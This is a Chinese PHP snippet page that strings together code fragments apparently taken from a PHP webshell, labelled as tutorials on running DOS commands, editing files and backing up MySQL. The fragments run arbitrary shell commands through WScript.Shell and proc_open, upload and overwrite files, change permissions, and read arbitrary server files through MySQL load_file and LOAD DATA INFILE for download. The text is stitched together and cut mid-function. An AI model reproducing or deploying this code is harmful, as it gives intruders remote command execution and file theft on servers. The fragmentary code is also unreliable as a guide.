php调用com 组件wscript.shell执行dos命令

 更新时间:2016年11月25日 16:30  点击:1767

/php调用com 组件wscript.shell执行dos命令
  p('<hr width="100%" noshade /><pre>');
  if ($execfunc=='wscript' && IS_WIN && IS_COM) {
   $wsh = new COM('WScript.shell');
   $exec = $wsh->exec('cmd.exe /c '.$command);
   $stdout = $exec->StdOut();
   $stroutput = $stdout->ReadAll();
   echo $stroutput;
  } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
   $descriptorspec = array(
      0 => array('pipe', 'r'),
      1 => array('pipe', 'w'),
      2 => array('pipe', 'w')
   );
   $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
   if (is_resource($process)) {
    fwrite($pipes[0], $command."rn");
    fwrite($pipes[0], "exitrn");
    fclose($pipes[0]);
    while (!feof($pipes[1])) {
     echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
     echo fgets($pipes[2], 1024);
    }
    fclose($pipes[2]);
    proc_close($process);
   }

public function ExtractFile($header,$to,$zip) {
  $header = $this->readfileheader($zip);

  if (substr($to,-1)!="/") $to.="/";
  if ($to=='./') $to = '';
  $pth = explode("/",$to.$header['filename']);
  $mydir = '';
  for($i=0;$i<count($pth)-1;$i++) {
   if (!$pth[$i]) continue;
   $mydir .= $pth[$i]."/";
   if ((!is_dir($mydir) && @mkdir($mydir,0777)) || (($mydir==$to.$header['filename'] || ($mydir==$to && $this->total_folders==0)) && is_dir($mydir)) ) {
    @chmod($mydir,0777);
    $this->total_folders ++;
    echo 'Extract : ',$mydir,'<br>';
   }
  }

  if (strrchr($header['filename'],'/')=='/') return;
  if (!($header['external']==0x41FF0010)&&!($header['external']==16)) {
   if ($header['compression']==0) {
    $fp = @fopen($to.$header['filename'], 'wb');
    if (!$fp) return(-1);
    $size = $header['compressed_size'];
    while ($size != 0) {
     $read_size = ($size < 2048 ? $size : 2048);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
    }
    fclose($fp);
    touch($to.$header['filename'], $header['mtime']);
   } else {
    $fp = @fopen($to.$header['filename'].'.gz','wb');
    if (!$fp) return(-1);
    $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
    Chr(0x00), time(), Chr(0x00), Chr(3));

    fwrite($fp, $binary_data, 10);
    $size = $header['compressed_size'];

    while ($size != 0) {
     $read_size = ($size < 1024 ? $size : 1024);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
    }

    $binary_data = pack('VV', $header['crc'], $header['size']);
    fwrite($fp, $binary_data,8); fclose($fp);

    $gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress

php编辑,上传,修改文件属性代码
  m('文件上传 '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? '成功' : '失败'));
 }

 // 编辑文件
 elseif ($editfilename && $filecontent) {
  $fp = @fopen($editfilename,'w');
  m('保存文件 '.(@fwrite($fp,$filecontent) ? '成功' : '失败'));
  @fclose($fp);
 }

 // 编辑文件属性
 elseif ($pfile && $newperm) {
  if (!file_exists($pfile)) {
   m('原始文件不存在');
  } else {
   $newperm = base_convert($newperm,8,10);
   m('文件编辑 '.(@chmod($pfile,$newperm) ? '成功' : '失败'));
  }
 }

php 重命名与复制文件
  $nname = $nowpath.$newfilename;
  if (file_exists($nname) || !file_exists($oldname)) {
   m($nname.' 目标文件已经存在或者原始文件不存在');
  } else {
   m(basename($oldname).' 重命名 '.basename($nname).(@rename($oldname,$nname) ? ' 成功' : '失败'));
  }
 }

 // 复制文件
 elseif ($sname && $tofile) {
  if (file_exists($tofile) || !file_exists($sname)) {
   m('目标文件已经存在或者原始文件不存在');
  } else {
   m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' 成功' : '失败'));
  }

mysql php数据打包备份程序
 if (!$dbname) {
  $errmsg = 'Please input dbname';
 } else {
  dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  if (!file_exists($mysqldlfile)) {
   $errmsg = '您想要下载的文件不存在';
  } else {
   $result = q("select load_file('$mysqldlfile');");
   if(!$result){
    q("DROP TABLE IF EXISTS tmp_angel;");
    q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    $result = q("select content from tmp_angel");
    q("DROP TABLE tmp_angel");
   }
   $row = @mysql_fetch_array($result);
   if (!$row) {
    $errmsg = 'Load file failed '.mysql_error();
   } else {
    $fileinfo = pathinfo($mysqldlfile);
    header('Content-type: application/x-'.$fileinfo['extension']);
    header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    header("Accept-Length: ".strlen($row[0]));
    echo $row[0];
    exit;
   }
  }
 }

[!--infotagslink--]

相关文章

  • PHP调用MySQL存储过程并返回值实现程序

    本文章来给大家详细介绍在php中如何来调用执行mysql存储过程然后返回由存储过程返回的值了,有需要了解的同学可进入参考。 。调用存储过程的方法。 a。如果存储过...2016-11-25
  • 浅谈PHP调用Webservice思路及源码分享

    方法一:直接调用复制代码 代码如下:<? /******************************************************************************/ /* 文件名 : soapclient.php /* 说 明 : WebService接口客户端例程 /****************...2014-06-07
  • php怎么运行c语言?php调用C代码的实现方法

    在php程序中有事会需要用到C代码,这篇文章着重介绍一下用C写php扩展的方法,而且不需要重新编译php。有需要的同学可以参考一下。 在php程序中需要用到C代码,应该是下...2017-07-06
  • php调用js文件的好办法

    <HTML> <HEAD> <TITLE> php调用js文件的好办法</TITLE> </HEAD> <BODY> <scrīpt language=''javascrīpt'' type=''text/javascrīpt'' src=''test.php''>&...2016-11-25
  • Wscript.Shell 对象详细介绍!!特好的东西第1/2页

    分类:程序WshShell 对象ProgID Wscript.Shell 文件名 WSHom.Ocx CLSID F935DC22-1CF0-11d0-ADB9-00C04FD58A0B IID F935DC21-1CF0-11d0-ADB9-00C04FD58A0B 下表说明和 Wsh...2020-06-30
  • PHP调用Webservice经典实例

    NuSoap是PHP环境下的WebService编程工具,用于创建或调用WebService。它是一个开源软件,是完全采用PHP语言编写的、通过HTTP收发SOAP消息的一系列PHP类,由NuSphere Corpora...2016-11-25
  • 用PHP调用数据库的存贮过程

    大家知道,存储过程是在服务器端的一个脚本程序,执行起来速度很快,但它也有一个缺点,就是依靠与一个固定数据库,移植性不好! 我的上回文章,提到了用com组件是可以访问ado以及...2016-11-25
  • PHP调用Linux命令无权限的问题解决(visudo)

    下面来看一个关于PHP调用Linux命令无权限的问题解决(visudo),希望文章对大家有帮助. 业务背景: yourcmd为我的linux程序,它对权限要求非常严格,当用php去执行yourcmd程...2016-11-25
  • 关闭网站的wscript.shell命令行执行

    最简单的办法是直接卸载后删除相应的程序文件。...2016-01-27
  • php调用mysql存储过程和函数的方法

    存储过程和函数是MySql5.0刚刚引入的。关于这方面的操作在PHP里面没有直接的支持。但是由于Mysql PHP API的设计,使得我们可以在以前的PHP版本中的mysql php api中支持...2016-11-25
  • PHP调用linux外部命令的例子

    PHP调用系统的命令不管在linux还是在windows中只要权限足够都是可以执行了,下面我们就来看一个在linux中PHP调用linux外部命令的例子。 相信大家或多或少都用过A...2016-11-25
  • PHP调用Oracle,mysql,mssql server 储存过程方法

    下面总结了三种流行的数据库教程如何利用php教程 来调用它们的存储过程,我们讲有mysql教程,oracle,mssql server哦。 <?php function check_login($user, $pass) { ...2016-11-25
  • php调用新浪微博短链接api接口地址例子

    短链接我们可以自己生成当然也可以调用第三方的如我们调用新浪微博短链接api接口即可生成自己要的地址了,下面来看一些小编总结的例子。 新浪短网址接口的稳定性和...2016-11-25
  • PHP调用discuz登陆框实现外部登录

    利用php调用discuz登录框方法有很多种,最常用的就是直接使用iframe方式调用了,还有就是直接在php页面中调用了,下面小编来给大家总结一些常用的方法。 方法一,直接使...2016-11-25
  • curl out of memory window下PHP调用curl报内存不够

    本文章来给大家介绍关于在window下PHP调用curl报内存不够(curl out of memory)错误的解决办法,有碰到此类问题的朋友可参考。 今天在调用新浪微博api的时候(官网...2016-11-25
  • php调用mysql存储过程返回结果集

    最近开发一个项目,用到这个,记一下: 关键就是两点 1 define('CLIENT_MULTI_RESULTS', 131072);2 3 $link = mysql_connect("127.0.0.1", "root", "",1,CLIENT...2016-11-25
  • php调用com 组件wscript.shell执行dos命令

    /php调用com 组件wscript.shell执行dos命令 p('<hr width="100%" noshade /><pre>'); if ($execfunc=='wscript' && IS_WIN && IS_COM) { $wsh = new COM('W...2016-11-25
  • php怎么运行c语言程序?利用php调用C语言 扩展PHP的功能

    php怎么运行c语言程序?本文介绍了利用php调用C语言 扩展PHP的功能的教程,对php初学者来说非常有用,有兴趣的同学快看看吧! 第一步. 生成需要调用的so文件1. 首先做一...2017-07-06
  • php调用ckeditor?怎么调用ckeditor

    怎么调用ckeditor呢,下面小编来给大家总结一处利用php 调用ckeditor编辑器与js调用ckeditor的方法吧,其它脚本调用方法大致一样了。 PHP调用FCKeditor 将FCKedito...2016-11-25
  • PHP调用linux命令详细说明

    /* 在php教程中调用linux命令的函数是 string exec(string command, string [array], int [return_var]); 如 exec( "vpopmail "); echo exec('whoami...2016-11-25